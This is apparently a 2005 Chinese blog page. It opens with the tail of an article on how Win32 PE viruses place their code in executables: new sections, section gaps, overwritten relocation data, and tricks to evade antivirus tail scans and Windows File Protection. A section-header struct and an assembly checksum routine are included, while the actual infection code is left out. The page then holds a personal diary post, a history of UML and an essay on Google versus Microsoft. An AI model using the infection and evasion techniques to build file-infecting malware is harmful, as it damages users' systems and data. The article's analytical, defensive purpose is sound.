  a)添加一个新的节。将病毒代码写入到新的节中,相应修改节表,文件头中文件大小等属性值。由于在PE尾部增加了一个节,因此较容易被用户察觉。在某些情况下,由于原PE头部没有足够的空间存放新增节的节表信息,因此还要对其它数据进行搬移等操作。鉴于上述问题,PE病毒使用该方法的并不多。
  b)附加在最后一个节上。修改最后一个节节表的大小和属性以及文件头中文件大小等属性值。由于越来越多的杀毒软件采用了一种尾部扫描的方式,因此很多病毒还要在病毒代码之后附加随机数据以逃避该种扫描。现代PE病毒大量使用该种方式。
  c)写入到PE文件头部未用空间各个节所保留的空隙之中。PE头部大小一般为1024字节,有5-6个节的普通PE文件实际被占用部分一般仅为600字节左右,尚有400多个字节的剩余空间可以利用。PE文件各个节之间一般都是按照512字节对齐的,但节中的实际数据常常未完全使用全部的512字节,PE文件的对齐设计本来是出于效率的考虑,但其留下的空隙却给病毒留下了栖身之地。这种感染方式感染后原PE文件的总长度可能并不会增加,因此自CIH病毒首次使用该技术以来,备受病毒作者的青睐。
  d)覆盖某些非常用数据。如一般exe文件的重定位表,由于exe一般不需要重定位,因此可以覆盖重定位数据而不会造成问题,为保险起见可将文件头中指示重定位项的DataDirectory数组中的相应项清空,这种方式一般也不会造成被感染文件长度的增加。因此很多病毒也广泛使用该种方法。
  e)压缩某些数据或代码以节约出存放病毒代码的空间,然后将病毒代码写入这些空间,在程序代码运行前病毒首先解压缩相应的数据或代码,然后再将控制权交给原程序。该种方式一般不会增加被感染文件的大小,但需考虑的因素较多,实现起来难度也比较大。用的还不多。
  
  不论何种方式,都涉及到对PE头部相关信息以及节表的相关操作,我们首先研究一下PE的修改,即如何在添加了病毒代码后使得PE文件仍然是合法的PE文件,仍然能够被系统加载器加载执行。
  PE文件的每个节的属性都是由节表中的一个表项描述的,节表紧跟在IMAGE_NT_HEADERS后面,因此从文件偏移0x3C处的双字找到IMAGE_NT_HEADERS的起始偏移,再加上IMAGE_NT_HEADERS的大小(248字节)就定位了节表的起始位置,每个表项是一个IMAGE_SECTION_HEADER结构:
  typedef struct _IMAGE_SECTION_HEADER {
      BYTE    Name[IMAGE_SIZEOF_SHORT_NAME]; // 节的名字
      union {
              DWORD   PhysicalAddress;
              DWORD   VirtualSize;    // 字节计算的实际大小
      } Misc;
      DWORD   VirtualAddress;     // 节的起始虚拟地址
      DWORD   SizeOfRawData;     // 按照文件头FileAlignment
                                                      // 对齐后的大小
      DWORD   PointerToRawData;    // 文件中指向该节起始的偏移
      DWORD   PointerToRelocations;
      DWORD   PointerToLinenumbers;
      WORD    NumberOfRelocations;
      WORD    NumberOfLinenumbers;
      DWORD   Characteristics;     // 节的属性
  } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

        节表项的数目由IMAGE_NT_HEADERS的NumberOfSections成员确定。由节表中的起始虚拟地址以及该节在文件中的位置就可以换算加载后内存虚拟地址和文件中地址之间的映射关系。添加一个节则需要修改该节表数组,在其中增加一个表项,然后相应修改NumberOfSections的数目。值得注意的是,某些PE文件现存节表后面可能紧跟着其它数据,如bound import数据,这时就不能简单地增加一个节表项,需要先移动这些数据并修改相应的结构后才能增加节,否则PE文件将不能正常执行。由于很多病毒是自我修改的,因此节属性通常设置为E000XXXX,表示该节可读写执行,否则就需要在病毒的开始处调用VirtualProtect之类的API动态修改内存页的属性了。由上述节表的定义还可以看到每个节的实际数据都是按照文件头中FileAlignment对齐的,这个大小一般是512,因此每个节可能有不超过512字节的未用空间(SizeOfRawData- VirtualSize),这恰好给病毒以可乘之机,著名的CIH病毒首先采用了这种技术,不过问题是每个节的空隙大小是不定的,因此就需要将病毒代码分成若干部分存放,运行时再通过一段代码组合起来,优点是如果病毒代码较小则无需增加PE的大小,隐蔽性较强。如果所有节的未用空间仍不足以容纳病毒代码,则可新增节或附加到最后一个节上。附加到最后一个节上是比较简单的,只要修改节表中最后一个节的VirtualSize以及按FileAlignment对齐后的SizeOfRawData成员即可。当然在上述所有修改节的情况中,如果改变了文件的大小,都要修正文件头中SizeOfImage这个值的大小,该值是所有节和头按照SectionAlignment对齐后的大小。
  这里有两个问题值得注意,第一问题就是对WFP(Windows File Protection)文件的处理,WFP机制是从Windows 2000开始新增的保护系统文件的机制,若系统发现重要的系统文件被改变,则弹出一个对话框警告用户该文件已被替换。当然有多种方法绕过WFP保护,但对病毒而言,更简单的方法就是不感染在WFP列表中的系统文件。可使用sfc.dll的导出函数SfcIsFileProtected判断一个文件是否在该列表中,该API的第一个参数必须为0,第二个参数是要判断的文件名,若在列表中返回非0值,否则返回0。
  另外一个问题就是关于PE文件的校验。大部分PE文件都不使用文件头中的CheckSum域的校验和值,不过有些PE文件,如关键的系统服务程序文件以及驱动程序文件则该值必须正确,否则系统加载器将拒绝加载。PE头部的CheckSum可以使用Imagehlp.dll的导出函数CheckSumMappedFile计算,也可以在将该域清0后按照如下简单的等价算法计算:
  如果PE文件大小是奇数字节,则以0补足,使之按偶数字节。将PE文件头的CheckSum域清0,然后以两个字节为单位进行adc运算,最后和将该累加和同文件实际大小进行adc运算即得到校验和的值。下面的cal_checksum过程假设esi已经指向PE文件头,文件头部CheckSum域已经被清0,CF标志位已经被复位:
           ;调用示例:
           ;clc
           ;push    pe_fileseize
           ;call   cal_checksum
  cal_checksum:
          adc     bp,word [esi]  ;初始esi指向文件头,ebx中保存的是文件大小
          inc     esi
          inc     esi
          loop    cal_checksum
          mov     ebx,[esp+4]
          adc     ebp,ebx   ;ebp中存放的就是PE的校验和
      ret   4

         除了PE头部的校验和之外,很多程序自身也有校验模块,如Winzip和Winrar的自解压文件,如果被感染,将造成无法正常解压缩。因此对于类似的PE文件,病毒应尽量不予感染。
   Elkern中感染文件修改文件相关的代码在infect.asm中,该病毒首先尽可能地利用PE的头部和节的间隙存储自身代码,若所有间隙仍不足以存放病毒代码,则附加到最后一个节上,限于篇幅相关代码从略,感兴趣的读者请自行参阅。
         其实,完成了上述功能的代码片断就已经是一个简单的病毒了,不管是用汇编语言、C语言或是python语言编写的。但这些远不是病毒技术的全部。在病毒和反病毒对抗的数十年中,伴随着反病毒技术的进步,病毒技术也在不断进步着,Win32下的内存驻留感染技术、抗分析技术、EPO技术、多态技术、变形技术等限于篇幅都还没有介绍,无论如何,那都是下篇的内容了。
* 思考与防范
  病毒技术源自编程实践,但又无所不用其极,包含了相当多的编程技巧,如果我们善于借鉴,其中的很多技巧都可用于解决常见的编程难题。此外知己知彼,才能在病毒出现时冷静沉着应对,分析其机制,找到更好的解决之道。作为用户,了解病毒的机制对于选择合适的反病毒产品和方案也是非常有帮助的。
  防范病毒,从用户角度除了使用杀毒软件定期查毒之外,谨慎地下载或执行未知的程序,提高警觉也是非常重要的。
  病毒已经不再单纯是一种展示高超编程技巧的手段了,而被越来越多的领域赋予了其它的如经济、有时甚至是政治的含义。防范病毒,作为负责的程序员,应首先不编写病毒、传播病毒,一切从我做起。

* 参考文献
[1] The PE file format ,LUEVELSMEYER
[2] Microsoft Portable Executable and Common Object File Format Specification ,Microsoft Corp.
[3] An In-Depth Look into the Win32 Portable Executable File Format , Matt Pietrek
[4] 29A issue7

作者简介
温玉杰,男,现从事网络安全工作。主要研究领域为恶意代码、逆向工程、人工智能、编译理论、底层安全技术等。曾与罗云彬合译《intel汇编语言程序设计》,与人合著《软件加密技术内幕》等。

- 作者: 蠡雪 2005年09月7日, 星期三 09:52  回复(0) |  引用(0) 加入博采

写在大三开学初……

      匆匆忙忙地从珠海校区搬来广州,经过两个月无聊的暑假,大三就静悄悄地走进了我的生活。
      学院发下新书,看了看。宿舍隔壁的研究生宿舍有很多人打我喜欢的乒乓球,也经常拿了拍子过去一起消遣。广州校区这边的风景不错,也会经常在校园内游荡。一切的生活就像我预想的一样,无聊和平静地进行着,没有激情,也没有别人那种对生活厌恶的感觉。一句话,一切都四平八稳地进行着。
      班长有一天提起奖学金的评选活动,我才想起,一年一度的奖学金评选又开始了。大一的时候拿了一千多块钱爽了一下,但是我知道,这次的评选已经和我没有什么关系了。我突然想起我大二上学期的成绩是多么的样衰,倒不是因为我学得不好,其实我个人认为,我还是掌握得不错的,但是成绩出来之后,一切都在莫名其妙中没有办法更改了。或许这是老师的问题,但是同样有我的责任。很多时候人总是认为自己做得很好,但是结果出来却经常不如意,类似这样的事情我已经经历过很多了。
      大二上学期成绩的一塌糊涂让我改变了下学期的计划,大二的下学期我看了很多杂书,技术类的,文学类的,还有很多不知道应该归为什么类的。这学期真的过得很开心,因为我真的已经很久没有这么自由地去做自己想做的事情了。以前都顾着功课,想着怎么样才能把分数拉上去,但是自己就从来没有想过,到底什么才是真正适合自己的。这个学期我看了很多的文学巨著,每一部都让我感到莫名的感动,儿时对文学的执着重新在我的心灵深处跳了出来,张牙舞爪,很惬意的一件事情。这学期的成绩也不算太好,可能在班里面算中等偏上吧,但是我总是觉得,我得到的东西一定会比别人多。可能我在功课方面失去了很多,但是我在其他方面得到了更多。人不能太贪心,在一方面获取,总要以另一方面的丧失为代价的。如何在获取与丧失之间取一个平衡点,这或许是我一生要思考的问题。
      大三了……老豆说,阿仔,是时候考虑考研究生了事情了哦。叔叔说,靓仔,有没有留校的意思啊?我笑了,很感谢身边的人对我这样关心,但是我的人生还是应该由我自己来设计的。很多东西在别人的眼中非常美好,但是在我看来,或许会显得很一般。相反,一些在别人眼中微不足道甚至有辱门面的事情,我却觉得很有意思。我是个很随性的人,我会用我的半辈子来思索,什么才是我喜欢的生活。
      大二的沉沦,能换来大三的辉煌吗??这是我现在比较想说的一句话。虽然我个人对成绩已经不是很在意了,但是父母给我供书教学,我有责任给他们一个交代。做人要有责任感,要有信用,这是我整天和别人说的话。

- 作者: 蠡雪 2005年09月6日, 星期二 13:46  回复(2) |  引用(0) 加入博采

什么是UML
    面向对象的分析与设计(OOA&D)方法的发展在80年代末至90年代中出现了一个高潮,UML是这个高潮的产物。它不仅统一了Booch、Rumbaugh和Jacobson的表示方法,而且对其作了进一步的发展,并最终统一为大众所接受的标准建模语言。 
  
1. 标准建模语言UML的出现 
公认的面向对象建模语言出现于70年代中期。从1989年到1994年,其数量从不到十种增加到了五十多种。在众多的建模语言中,语言的创造者努力推崇自己的产品,并在实践中不断完善。但是,OO方法的用户并不了解不同建模语言的优缺点及相互之间的差异,因而很难根据应用特点选择合适的建模语言,于是爆发了一场“方法大战”。90年代中,一批新方法出现了,其中最引人注目的是Booch 1993、OOSE和OMT-2等。 
  
  Booch是面向对象方法最早的倡导者之一,他提出了面向对象软件工程的概念。1991年,他将以前面向Ada的工作扩展到整个面向对象设计领域。Booch 1993比较适合于系统的设计和构造。 
  
  Rumbaugh等人提出了面向对象的建模技术(OMT)方法,采用了面向对象的概念,并引入各种独立于语言的表示符。这种方法用对象模型、动态模型、功能模型和用例模型,共同完成对整个系统的建模,所定义的概念和符号可用于软件开发的分析、设计和实现的全过程,软件开发人员不必在开发过程的不同阶段进行概念和符号的转换。OMT-2特别适用于分析和描述以数据为中心的信息系统。 
  
  Jacobson于1994年提出了OOSE方法,其最大特点是面向用例(Use-Case),并在用例的描述中引入了外部角色的概念。用例的概念是精确描述需求的重要武器,但用例贯穿于整个开发过程,包括对系统的测试和验证。OOSE比较适合支持商业工程和需求分析。 
  
  此外,还有Coad/Yourdon方法,即著名的OOA/OOD,它是最早的面向对象的分析和设计方法之一。该方法简单、易学,适合于面向对象技术的初学者使用,但由于该方法在处理能力方面的局限,目前已很少使用。 
 
  概括起来,首先,面对众多的建模语言,用户由于没有能力区别不同语言之间的差别,因此很难找到一种比较适合其应用特点的语言;其次,众多的建模语言实际上各有千秋;第三,虽然不同的建模语言大多类同,但仍存在某些细微的差别,极大地妨碍了用户之间的交流。因此在客观上,极有必要在精心比较不同的建模语言优缺点及总结面向对象技术应用实践的基础上,组织联合设计小组,根据应用需求,取其精华,去其糟粕,求同存异,统一建模语言。 
  
  1994年10月,Grady Booch和Jim Rumbaugh开始致力于这一工作。他们首先将Booch 93和OMT-2 统一起来,并于1995年10月发布了第一个公开版本,称之为统一方法UM 0.8(Unitied Method)。1995年秋,OOSE 的创始人Ivar Jacobson加盟到这一工作。经过Booch、Rumbaugh和Jacobson三人的共同努力,于1996年6月和10月分别发布了两个新的版本,即UML 0.9和UML 0.91,并将UM重新命名为UML(Unified Modeling Language)。 
  
  1996年,一些机构将UML作为其商业策略已日趋明显。UML的开发者得到了来自公众的正面反应,并倡议成立了UML成员协会,以完善、加强和促进UML的定义工作。当时的成员有DEC、HP、I-Logix、 Itellicorp、 IBM、ICON Computing、MCI Systemhouse、Microsoft、Oracle、Rational Software、TI以及Unisys。这一机构对UML 1.0(1997年1月)及UML 1.1(1997年11月17日)的定义和发布起了重要的促进作用。 
  
  UML是一种定义良好、易于表达、功能强大且普遍适用的建模语言。它溶入了软件工程领域的新思想、新方法和新技术。它的作用域不限于支持面向对象的分析与设计,还支持从需求分析开始的软件开发的全过程。 
  
  面向对象技术和UML的发展过程可用上图来表示,标准建模语言的出现是其重要成果。在美国,截止1996年10月,UML获得了工业界、科技界和应用界的广泛支持,已有700多个公司表示支持采用UML作为建模语言。1996年底,UML已稳占面向对象技术市场的85%,成为可视化建模语言事实上的工业标准。1997年11月17日,OMG采纳UML 1.1作为基于面向对象技术的标准建模语言。UML代表了面向对象方法的软件开发技术的发展方向,具有巨大的市场前景,也具有重大的经济价值和国防价值。

- 作者: 蠡雪 2005年09月2日, 星期五 08:20  回复(0) |  引用(0) 加入博采

Google欲图霸主位置 微软桌面神话可能终结
      2005年7月19日,微软高级副总裁李开复向媒体宣布从微软辞职,正式加盟Google。颇感羞辱的微软20日发表声明,称李开复违反了与微软签订的员工保密协议和非竞争协议。随后,微软向美国华盛顿州地方法院提起诉讼,指控Google和李开复违反了行业竞争禁止协议。


  直到28日,华盛顿州地方法院发布一项临时禁令,禁止李开复在Google从事如网络和桌面搜索技术等这些与微软相竞争的领域后,这场在IT业界引起轩然大波的跳槽事件才终于告一段落。


  但是,这绝不是一向高居软件霸主地位的微软的高级管理人员和核心研发人员被Google挖走的最新一例。


  在此之前,Google还从贝尔实验室挖走了Unix和C语言的创始人之一的KenThompson,2005年又把Mozilla Firefox浏览器的首席开发人员Ben Goodger收入麾下。至今,Google已经招收了大量高水平的Java程序员和操作系统开发人员,其中包括数名微软的核心开发工程师。


  近两三年,Google做了一些看上去和互联网搜索扯不上关系的事情。2003年2月,Google收购了全球最大的Blog服务商Blogger.com;2003年11月,Google收购了一家SNS(网络社区服务)公司Orkut.com;2004年,Google开始测试2G的E-mail系统Gmail.com,并于4月份注册了域名gbrowser.com。同年,Google发布即时通信工具Hello。


  这些看似和互联网搜索无关的事件,矛头所向,却直指微软的霸主位置,搅得这家全球最大的软件公司坐立不安,人心浮动。


  愤怒的微软,也许再也没有办法冷静下来。Google这家和微软比起来资历尚浅的公司,正推动着一场巨大的技术与应用的变革,这场变革迅速演变成全球最大的软件公司与互联网搜索公司核心业务的激烈碰撞。从桌面搜索、Web电邮到即时通信,除了Windows操作系统本身和Office办公软件以外,战火几乎蔓延到了其它所有与互联网相关的应用领域。Windows帝国创造的那段史诗般的桌面神话,会不会继续神话下去,也因此被打上了一个重重的问号。


  抢夺桌面


  让微软感到不安的,正是Google凭借对互联网搜索的垄断地位开始大举入侵自己的桌面地盘。


  2003年12月,Google Deskbar将战火从互联网引到了Windows的桌面。Deskbar在Windows桌面的任务栏上巧妙地放置了一个Google搜索框,让用户不需要打开浏览器就能搜索网络。电脑用户使用“全球指令键(control+alt+g)”,不管是Word文档、E-mail,还是Web页面,就可以对从桌面到互联网中的任何文档进行搜索。


  Google Deskbar明显的意图就是要引导目前与今后电脑用户的日常工作流程和使用习惯,虽然用户还习惯于使用Windows操作系统和Office办公软件,但如果想要查找信息,搜索的方式已经不再是先打开IE浏览器,然后登陆搜索网站键入关键字才能进行搜索,Google搜索无论从查询方式还是浏览结果都完全成为Windows桌面的一部分。


  不仅如此,Google互联网搜索的收入主要来源于AdSense广告系统,如果这个系统在桌面运行,就意味着微软依靠捆绑销售来打击对手的战略对于Google失去了作用。电脑用户可以免费在桌面上使用Google桌面搜索工具,借此广告商蜂拥进入Windows桌面,而钱却落入了Google的腰包。


  多年以来,微软一直在打造一个通用的软件平台。在1995年,微软通过捆绑销售的策略击败Netscape后,整个Windows系列的软件逐渐演化成一个向网络应用方向发展的软件生态系统。在这个生态系统内,依靠Windows操作系统和Office办公软件超过90%的市场占有率,微软逐步建立起了以IE浏览器为核心的各种网络应用环境。


  但是一个显而易见的事实是,Google所提供的诸多服务,已经渐渐可以取代Windows桌面上软件,而且提供的服务不仅限于Windows操作系统,无论是Linux还是Max OS,甚至用PDA或者智能手机,只要你能上网,有浏览器,Google的服务就无处不在。Google占领了桌面,也就卷走了用户,这对微软来说几乎构成了致命的威胁,因为Google让电脑用户脱离了Windows桌面的控制,而在桌面以外的世界,微软不是一个强者。


  说到底,Google所在意的是Windows桌面生态系统中庞大的用户群和市场份额。而在互联网规模与应用极大发展的今天,一个以浏览器和Web服务为核心的互联网生态系统已经逐渐形成。所有的桌面应用正在向互联网应用高速进化,Windows桌面生态系统是首当其冲的利失者。


  互联网生态系统其实也不是什么新的概念,在上世纪90年代后期Netscape公司的创始人Marc Andreeson就大胆预测有一天Netscape会代替Windows成为缺省的用户界面。让Netscape可以在所有平台上运行,而所有应用程序都将成为网络应用程序,Windows桌面不过是网络应用的一个功能而已。


  遗憾的是当时比尔-盖茨低估了网络的发展前景,1995年得以让Netscape公司轻松上市,结果到同年12月Netscape股价已高达每股120美元,总市值超过60亿美元,Netscape浏览器几乎占领了整个浏览器市场,而所有的大型服务器上都运行着Netscape的服务端软件,Windows操作系统几乎沦为客户端软件的代名词。比尔-盖茨这才意识到互联网正在主导产业的发展趋势,IE浏览器绝不仅是微软所发布的一个普通应用软件那么简单。


  这种情况的出现,也正是现在一提到Google要开发Google浏览器,微软就后背发凉的根本原因。随着互联网的急速发展,个人电脑与桌面应用也终将汇入这股融合的洪流中,这股融合洪流的暴发在当时就已经埋下了种子。


  如今,Google现在的行为越来越不像一家互联网搜索公司,反而更像一个软件公司。Google开始给各种网络应用贴上Google标签,电脑用户可以通过Google访问世界各大图书馆,通过Froogle来进行Google购物,登录Google news看新闻或者使用Google Blogger来写日记,管理自己的数码照片或用容量达到2G的Google电邮来收发邮件。


  Google要做的,就是要建立一个以Google搜索为核心的生态系统,而无论是Google桌面搜索,还是Froogle购物或者是Google新闻,都是要将Windows桌面包围起来,蚕食它的市场份额。如果微软的产品线因此而被迫收缩到仅仅是Windows操作系统和Office办公软件,那在整个互联网生态圈内,微软只能扮演基础软件提供者的尴尬角色。


  可以这么说,微软当年打败Netscape的一个重要因素,是微软捆绑了IE浏览器和Windows操作系统,极大地加强了电脑用户对微软桌面的依赖性,无论是上网还是其它应用,都在功能丰富的桌面上完成。凭借这一点,微软在很长一段时间里,一直引导着电脑用户使用互联网的方式和需求。


  但是,当年Marc Andreeson那次“Windows桌面不过是网络应用的一个功能而已”的大胆预测,在现在看来无疑佐证了微软的这种做法除了巩固桌面帝国之外,并没有其他的作用,反而让微软错过了进军互联网的最好时机。


  艰难的反击


  当然,微软不是第一次面对挑战了。这家从上世纪90年代起就一直处于高速发展的公司,凭借Windows系统的垄断地位在其它领域开疆拓土大搞圈地运动。“包围再扩展(embrace and extinguish)”已经成为微软应对竞争者经典的不变战略方针。但是,这次微软不是包围者,而是突围者。


  2000年6月,微软匆忙推出了.NET计划。“.NET”就是一切皆网络的意思。微软的意图很明显,这个巨人要重新制定游戏规则,把桌面和互联网都握在手中。同年,微软CEO鲍尔默在中国以“下一代互联网”为主题进行了演讲。鲍尔默自信地说:“这是一场变革,.NET战略就是要将微软所开发的各种软件与互联网紧密结合起来,目的是简化各种计算设备之间的信息共享与交换,微软也将借此把业务重点转移到互联网上,期望实现从一个软件公司向一个服务公司的转变。”


  然而,当时就有评论认为,整个.NET计划太庞大、太超前,即使微软这样的巨人也无法去承载这样的巨变。时至今天,除了铺天盖地的广告攻势和绚丽的技术概念以外,宏伟的.NET计划终于还是没有兑现。整个.NET计划的低俗表现,给Windows帝国蒙上了一层阴影。


  2005年2月,微软推出了基于MSN搜索的网络搜索服务。MSN网络搜索以10种语言发布,并发布了对应的桌面搜索工具,这项新服务看上去非常有特色,不但可以和微软的Encarta电子百科全书软件配套使用,还可以为搜索者的特定问题直接给出答案。


  尽管比尔-盖茨在6月份极力鼓吹MSN搜索将可以和Google搜索一试高下,但先行者的地位仍然无法动摇。据艾瑞市场咨询(iResearch)的报告显示,2005年6月美国的网络搜索市场份额中,Google的市场份额已经从去年12月的37%增长到了52%,而MSN仅占10%。


  在微软产品的另一条线上,从2001年10月发布后版本就没有发生过变化的IE6.0浏览器也战事不断。去年年底,致力于开源项目的Mozilla基金会发布了Mozilla/Firefox浏览器。Firefox发布的前6天就获得了突破百万的下载量。


  据美国网络跟踪公司Net Applications2005年7月发表的研究报告,微软IE浏览器的市场份额每个月下降0.5%至1%,到今年6月份Firefox浏览器的市场份额已经达到了8.71%。NetApplications的调查数据来源于全球范围内网站所跟踪到的浏览器实际使用情况,这对于一直想要把电脑用户钉在桌面上的微软来说,无疑是一个巨大的打击。


  然而,更大的一个打击是,Firefox的技术总监Ben Goodger今年年初加盟Google。这立刻让人想起Google在去年注册了gbrowser.com的域名。明显的结论是,微软桌面上最强的网络工具IE浏览器也将面对Google浏览器的威胁。


  这里还有一个讽刺的细节,IE自己也被贴了一个Firefox的标签。你只要打开IE的“帮助”,就会看到:“本软件是在NCSA Mosaic的基础上完成的。NCSAMosaic(TM)由位于Urbana-Champaign的伊利诺斯大学的超级计算机应用程序国家中心(NCSA)开发。”


  这个NCSAMosaic浏览器是1993年X-Windows系统上最早的浏览器,也正是Netscape浏览器的前身,它们都是Netscape公司的创始人Marc Andreessen发明的。1998年,Netscape败北浏览器市场,AOL出价42亿美元巨资收购Netscape。1999年,在AOL的资助下,Netscape以Mozilla.org开发源码的形式发布。随后2003年AOL将这个项目捐献给Mozilla基金会组织,而现在蚕食IE市场的,正是Mozilla基金会发布的Firefox浏览器。


  下一个神话


  Google的名字来源于数学中的一个术语“googol”,意思是一个“1”后面跟随100个“0”。这个数字比宇宙中所有的粒子的总数还大。


  Microsoft的名字里有一个Micro,这个词代表的是“无穷小”的概念,这恰好和Google的“无穷大”成了一组绝妙的组合,也许它们将永远的无穷大或者无穷小下去,下一个神话永远还是未知的。


  如果Google推出了自己的gbrowser浏览器,这就无法避免它将集成Google搜索这样的服务,并可能在其中加入一些另外像Gmail及Googleblog的功能。gbrowser甚至还可能设计成为一个通用的用户界面并用于Google OS(Google操作系统)以取代Windows的位置。


  而这一切组合起来,仿佛预示着当年Netscape想要全力打造的“以浏览器为中心的互联网操作系统”即将成为可能。


  2003年,在世界搜索大会上,Google展示一个超大文件系统(Google FileSystem),这个系统可以将千万计算机连接起来,组成巨大的网络硬盘。这种超大文件系统很有可能构成Google OS的文件存储基础。另外,Google开始提供“Google计算”工具的下载,尝试将分散的个人电脑统一起来,进行分布式网格计算。


  还有一些Google的技术狂热者称,Google可以造一台真正的电脑——Google PC,甚至Google Office也不是什么遥不可及的事。他们坚定地认为,下一个时代是属于互联网的,而Google将会替代微软。


  也许,在一个时期鼎盛的公司,无法在下一个世纪续写神话。但是,在比尔-盖茨经典的、蒙娜丽莎式的微笑背后,透射出100多年前的哲学家尼采的超人哲学:“历史是由少数的超人来推动的。”凭借Windows操作系统的垄断地位和380亿美元的现金储备,微软拥有绝对的自信去创造历史。


  太平洋标准时间2005年7月22日清晨6点,微软正式宣布代号为Longhorn的“下一代Windows操作系统Vista”测试版发布。按照微软的时间表,Vista正式版本发布的时间是2006年11月,但从Vista测试版的新特性来看,这一Windows版本清晰地表明了微软要做下一个时代霸主的决心。


  在Vista的新特性中,桌面和浏览器的概念变得非常的模糊,去年3月,笔者有幸参加微软中国高校俱乐部的一个Longhorn开发体验项目。当时,我们惊讶地发现,整个桌面的概念已经消失了,或者可以说整个Longhorn操作系统就是一个浏览器。通过一种叫XAML(可扩展应用程序标记语言)的新技术,开发人员可以用XAML来完成传统Windows程序,也可以用XAML完成Web应用。所有的应用程序都可以使用XAML来撰写UI(User Interface),就如同现在浏览器使用HTML来定义显示内容—样。


  同时,微软的下一代办公软件Office l2将会集成从MSN搜索、即时通信到VOIP的更多网络应用功能。另外,Vista正式版中将会把搜索的概念深深集成到操作系统内核中,这种叫做WinFS的存储系统也许是Windows抗衡Google搜索的最后一招。


  但是,XAML和WinFS是微软专用的技术,Officel2是Windows系统的软件。这也就注定了这个软件巨人想要把所有的战争都引到Windows桌面来进行,如果微软能成功,那也许就能续写神话。


  不过,Google并不会让微软走得如此轻松,越来越多的微软核心开发人员被Google挖走,其中包括Windows系统首席架构师Marc Lucovsky和Vista的WinFS系统核心研发人员Joe Beda。


  记得原微软高级副总裁李开复曾说过:“软件是一个过去的时代,Web服务将要来临。我们赌的未来就是Web服务。”但是,李博士已经选择离开了微软,去了Google。

- 作者: 蠡雪 2005年09月1日, 星期四 23:45  回复(0) |  引用(0) 加入博采